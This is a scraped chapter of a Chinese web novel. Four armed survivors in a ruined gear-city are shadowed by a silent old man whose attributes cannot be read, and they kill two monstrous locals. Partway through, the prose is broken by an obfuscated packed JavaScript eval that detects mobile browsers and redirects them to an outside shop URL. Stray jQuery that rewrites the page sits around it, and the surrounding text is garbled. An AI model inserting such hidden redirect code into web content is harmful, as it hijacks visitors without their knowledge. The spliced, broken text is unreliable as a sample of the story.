默认冷灰
24号文字
方正启体

50. 神秘的老人

作者:云山哀本书字数:K更新时间:
    铁灰色的天光像一层稀释的墨汁,从破碎的窗棂渗进来,在积满灰尘的地面上洇出斑驳的痕迹。齿轮的咔哒声从地底浮上来,比昨夜更响了些,像是某种巨大生物在翻身,骨骼摩擦发出沉闷的呻吟。


    贺宇舟是第一个醒的。


    他的睡眠像一张被拉满的弓,弦随时紧绷着,任何风吹草动都会让它震颤。睁眼时,黑框隐形眼镜还架在鼻梁上,镜片蒙了一层薄灰,让视野里的世界像隔着毛玻璃。他抬手擦了擦,动作很轻,像是怕惊醒什么。


    角落里,江哲已经坐起来了,背靠墙壁,短匕横放在膝上,目光清明得像从未睡过。他的眼下有淡淡的青黑,像被人用炭笔涂抹了两道,但眼神依然锐利,像两柄收在鞘里的针。


    "早。"他说,声音沙哑,像是砂纸摩擦生锈的铁皮。


    贺宇舟点点头,没有说话。他的右手下意识地插进兜里,指节虚握着折叠刀的刀柄,金属的凉意顺着掌心蔓延,像一条苏醒的蛇。


    叶歆蜷缩在拼起的椅子上,扎起的短辫散开了,几缕黑发贴在脸颊上,随着呼吸轻轻起伏。他的指虎还套在左手的指节上,金属表面在微光中泛着冷冽的光泽,像一圈凝固的月光。宋铭佑靠在他身边,头微微歪向一侧,抵着旁边的椅子,手术刀从指间滑落,掉在地上,发出一声清脆的响。


    那声响像是一个信号。宋铭佑的眼皮颤动了两下,缓缓睁开。他的瞳孔在接触到天光的瞬间收缩成针尖大小,像一只警惕的猫,但立刻恢复成那种锐利的、居高临下的审视。


    "……几点了?"他问,声音带着刚睡醒的黏腻。


    "七点十五。"江哲说。


    宋铭佑试着撑起身体。左肋的伤口在肌肉收缩时发出抗议,像是有根烧红的铁丝在皮肉里搅动,但止疼药的余韵还在,那种疼被隔在一层毛玻璃后面,遥远,模糊,可以忍受。他低头看了眼绷带——没有渗血,愈合得比预期好。


    "能走?"叶歆也醒了,揉着眼睛,声音里带着点刚睡醒的沙哑。


    "能。"宋铭佑弯腰捡起手术刀,在袖口擦了擦,刀身映出他苍白的脸,像是一面扭曲的镜子。


    他们简单收拾了一下,从空间口袋里取出食物。贺宇舟啃压缩饼干,干硬的碎屑像砂砾一样在齿间研磨,他灌了一口水,才勉强咽下去。叶歆分了一袋小面包给宋铭佑,后者皱眉,但还是接了,撕成小块塞进嘴里,动作机械得像是在投喂实验动物。


    "今天往哪走?"叶歆问,指虎在掌心转了个圈,金属碰撞发出清脆的叮当声,像是某种古老的计时器。


    "围墙方向。"江哲说,"守门人如果每日移动,靠近中环的区域概率更大。"


    "同意。"宋铭佑说,将最后一块面包咽下去,"但小心,越靠近围墙,本地人越密集。"


    贺宇舟没说话,只是推了推眼镜,黑框圆眼镜后的眼睛扫过房间的每一个角落。没有异常,没有守门人的标识,也不会有,守门人不是什么普通的本地人,他的身份无人知晓。这里只有灰尘在铁灰色的天光里缓缓飘浮,像是一群迷失的微生物。


    他们下楼,贺宇舟打头,长剑握在右手,剑尖斜指地面,像是一根探路的盲杖。江哲断后,短匕藏在袖子里,只露出一点漆黑的刀尖。宋铭佑和叶歆在中间,两人之间的距离不超过半步,是他们独有的信任。


    门外的景象让他们的脚步同时顿住。


    一个老人。


    他就站在门前的台阶下,背对着他们,佝偻得像一张被揉皱的纸。他的衣服破烂不堪,像是用无数块不同颜色的破布拼接而成,在风中轻轻摆动,像一面褪色的旗帜。头发花白,稀疏,几缕枯槁的发丝贴在头皮上,像是冬天最后几根苟延残喘的草。


    贺宇舟的隐形眼镜骤然发热,他凝神看去——


    什么都没有。


    没有文字,没有标识,没有属性栏。视野里只有那个老人的背影,像是一幅被擦去所有注解的素描,空白得令人不安。


    "本地人?"叶歆低声问,指虎已经握紧了。


    "看不到属性。"贺宇舟说,声音比平常低了一分。


    "什么意思?"


    "意思是,"宋铭佑接话,手术刀在指间转了个圈,"要么贺宇舟的眼镜坏了,要么他不是本地人,也不是玩家。"


    "那是什么?"


    "不知道。"


    老人似乎听到了他们的对话,缓缓转过身。那是一张极其苍老的脸,皱纹像干涸河床的龟裂,从额头蔓延到下巴,每一道都深深刻进皮肉里。他的眼睛浑浊,像是两潭被搅浑的泥水,但深处似乎有什么东西在浮动,一闪而逝,快得让人抓不住。


    他的嘴唇翕动着,没有发出声音,只是咧开嘴,露出一个笑容。那笑容里没有牙齿,只有黑洞洞的口腔,像是一口枯井。


    然后,他抬起脚,向他们走来。


    贺宇舟的长剑横在身前,剑锋映着铁灰色的天光,像一弯凝固的银月。但老人没有靠近,只是在距离他们三米的地方停住,歪着头,用那双浑浊的眼睛打量他们,像是在打量一群稀罕的标本。


    "……走。"宋铭佑说,声音从牙缝里挤出来,"别理他。"


    四人绕过老人,沿着街道向东行进。贺宇舟的右手始终握着长剑,指节发白,但老人没有追上来,只是站在原地,像一棵被砍断根系的树。


    他们走出十几米,贺宇舟回头看了一眼。


    老人还站在原地,但头转了过来,目光穿透铁灰色的天光,直直地钉在他们背上。那种目光没有温度,没有感情,像两颗被遗弃在荒野的石子。


    贺宇舟转回头,加快了脚步。


    但老人跟了上来。


    不是奔跑,不是追赶,只是走。他的步伐蹒跚,每一步都像是踩在棉花上,摇摇晃晃,仿佛随时会跌倒。但他始终没有跌倒,始终保持着那个距离——三米,不多不少,像是一根被拉紧的绳子。


    "他在跟着我们。"叶歆说,声音发紧,指虎在掌心握得咯吱作响。


    "别回头。"江哲说,"继续走。"


    他们穿过一片废墟,绕过燃烧的油桶,跨过堆积如山的齿轮。每一次贺宇舟回头,都能看到那个老人,像一道被钉在地上的影子,随着他们的移动而移动。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528556|203627||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    铁灰色的天光越来越亮,齿轮的咔哒声越来越响。他们进入一片更密集的棚户区,两侧的墙壁几乎贴在一起,头顶的铁皮屋顶漏下几缕破碎的光,在地面投下斑驳的阴影。


    一个本地人从阴影中扑出。


    那是个女人,瘦骨嶙峋,指甲乌黑,带着腐臭的风直扑叶歆的面门。叶歆的指虎早已扬起,拳锋砸向对方的下颌,金属与骨骼碰撞发出令人牙酸的碎裂声。女人的头向后仰去,但动作没有停,像一条被砍了头还在扭动的蛇,双手抓向叶歆的咽喉——


    长剑从斜刺里斩来,贺宇舟的剑锋划过女人的腰腹,将她斩成两段。黑色的血喷涌而出,溅在两侧的墙壁上,像是一幅抽象画的泼墨。


    女人倒地,抽搐,归于平静。


    贺宇舟收剑,呼吸平稳,黑框圆眼镜后的眼睛没有任何波动。他回头看向身后——


    老人就站在三米外,静静地看着。


    他的姿态和之前一模一样,佝偻,蹒跚,像一张被揉皱的纸。但此刻,他的嘴角微微上扬,那个没有牙齿的笑容在铁灰色的天光里显得格外诡异,像是一朵开放在腐肉上的蘑菇。


    "他……他在笑?"叶歆的声音发颤,指虎上还滴着黑血。


    "别管他。"宋铭佑说,但手术刀在指间转得更快了,像是一只焦躁的蜂鸟,"继续走。"


    ——


    第二个本地人出现在街道中央。


    那是个男人,比之前的几个更高,更壮,皮肤呈现出不正常的青黑色,像是被涂了一层防锈漆。他的眼球凸出,瞳孔扩散成两个漆黑的洞,嘴里发出低沉的咆哮,像是一台卡死的发动机。


    "这个……不太一样。"江哲说,短匕从袖子里滑出,握在右手。


    男人没有扑上来,而是弯腰,从地上捡起一根生锈的铁管。铁管在他手中像是一根稻草,被轻松折断,断口锋利如刀。


    男人挥舞铁管,带起一阵腐臭的风,直劈江哲的头顶。江哲侧身,短匕划过男人的手腕,但刀刃像是切进了橡胶,只留下一道浅浅的白痕。


    "皮肤硬化!"江哲暴退,"弱点在关节!"


    贺宇舟从左侧切入,长剑刺向男人的膝关节。剑锋入肉的触感像刺进一块腌制的火腿,阻力巨大,但他没有停,手腕一拧,剑身在关节腔内搅动——


    男人发出一声非人的嚎叫,膝盖弯曲,单膝跪地。


    叶歆的指虎从侧面砸下,拳锋精准地命中男人的太阳穴。金属与颅骨碰撞,发出沉闷的响,像是有人在敲击一面破鼓。男人的头偏向一侧,眼球凸得更厉害了,但动作没有停,铁管横扫,将叶歆逼退。


    宋铭佑从后方切入。他的动作比昨天慢了半拍,伤口在肌肉收缩时发出抗议,但手术刀的刀锋依然精准。刀尖从男人的后颈刺入,穿透脊椎,刀身没入至柄——


    男人僵住了。


    贺宇舟的长剑同时斩过他的咽喉,黑色的血像喷泉一样涌出,在铁灰色的天光下划出一道丑陋的弧线。


    男人倒地,抽搐,最后归于平静。他的尸体迅速干瘪,像是被抽空了所有水分,缩成一堆黑色的焦炭。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)